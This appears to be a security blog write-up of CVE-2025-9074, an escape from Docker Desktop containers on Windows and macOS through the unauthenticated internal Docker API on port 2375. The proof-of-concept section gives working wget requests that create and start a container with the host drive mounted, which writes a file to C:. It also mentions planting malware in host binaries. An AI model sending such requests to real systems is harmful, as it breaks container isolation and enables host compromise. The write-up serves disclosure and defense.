CVE-2025-9074: Docker escape on Windows and MacOS

#

Overview:

#

Gain full access to the Windows/MacOS host by making an unauthorized request to the Docker Control Plane API. Docker Control Plane API is a simple REST API to schedule, run, and manage containers in Docker Engine.

What’s happening in this vulnerability?

#

1. Containers are scheduled via API calls to Docker’s HTTP REST API. These requests are made via Docker Desktop or via a CLI.
2. The Docker API should not be accessible to any containers. Docker does a very good job of isolating the host and application environment. It uses sockets for IPC. However, it uses TCP sockets for IPC in Windows and macOS, which is where the vulnerability originates from.
3. The Docker private network is exposed to the containers running in Docker Engine for Windows and macOS. The port used by the API is 2375.

How do we exploit the vulnerability?

#

1. We just need to do two POST calls to the Docker REST API from inside the container.
2. 192.168.65.7 is a virtual gateway IP inside that private network.
   1. Containers inside the VM sometimes see it as the “host” or a “special forwarder” to reach services provided by Docker Desktop.
   2. It’s not your real Windows/Mac IP, but an internal bridge endpoint.
3. Port 2375 . When you scan the port, it will come up as open. This means that when you do the post requests, the requests will be processed by the Docker engine. As the requests can be made without authentication.
4. The two endpoints we want to send the POST requests too are as follows:
   1.  /containers/create
   2. /containers/{id}/start
5. When you POST a request to /containers/create endpoint it will return an id This is the id of the newly created container.
6. Use the container id to start it with a POST request to /containers/{id}/start .

POC:

#

1. The Docker Desktop is not running any containers

   

2. We start a container, which will be our attacker container ( a container to which the attacker has access). Note the id of the attacker container

   

3. Perform an nmap scan to ensure the port is open on the address 192.168.65.7

   

4. Now, use the following command to make a post request to the REST API. What does the request do:

   1. We are asking docker to create a container when the container is started. Use the shell to run the epoch command and create the payload in the specified directory.

   2. We also specify that the container should have mounted volumes and mount the host’s drive to the container.

   3. We create a JSON file to keep a record of id and any warnings that may occur during the creation of the container.

      wget --header='Content-Type: application/json' \
      --post-data='{"Image":"alpine","Cmd":["sh","-c","echo pwned > /host_root/pwn.txt"],"HostConfig":{"Binds":["/mnt/host/c:/host_root"]}}' \
      -O - http://192.168.65.7:2375/containers/create > create.json
      

   4. Verify by comparing the id provided in create.json and Docker Desktop.

      

5. Now, we want to start the container to execute the run command and create a pwn.txt file on our host’s drive.

   wget --post-data='' -O - http://192.168.65.7:2375/containers/$id/start
   

6. Before we start the container, there won’t be any files present in the c: drive

7. After we start the container, as you can see, there is a container with a host volume mounted to it, and there is pwn.txt present in the specified directory.

   

Scope of vulnerability:

#

This vulnerability only affects Windows and macOS. These OS’s are not used for hosting containers in a production environment. It is very hard to find this vulnerability in the open world. This vulnerability is very niche.

The production environments lean towards Linux for hosting and managing containers. Linux is not affected by this vulnerability.

What will be the effect on systems that are vulnerable?

#

1. The attacker can create a privileged container that they have access to and perform container escape.
2. Attackers can use SSRF if the container is exposed to the internet and handles the requests.
3. Attackers can write to the host OS, integrating malware into the DDLs, Python library, or any other binaries that are executed regularly to gain RCE on the host.

Lessons learned:

#

1. Enforce zero trust policy, always secure endpoints by implemnting authentication even for internal networks.
2. Enforce network segmentation around containers

References:

#

https://blog.qwertysecurity.com/Articles/blog3.html

https://pvotal.tech/breaking-dockers-isolation-using-docker-cve-2025-9074/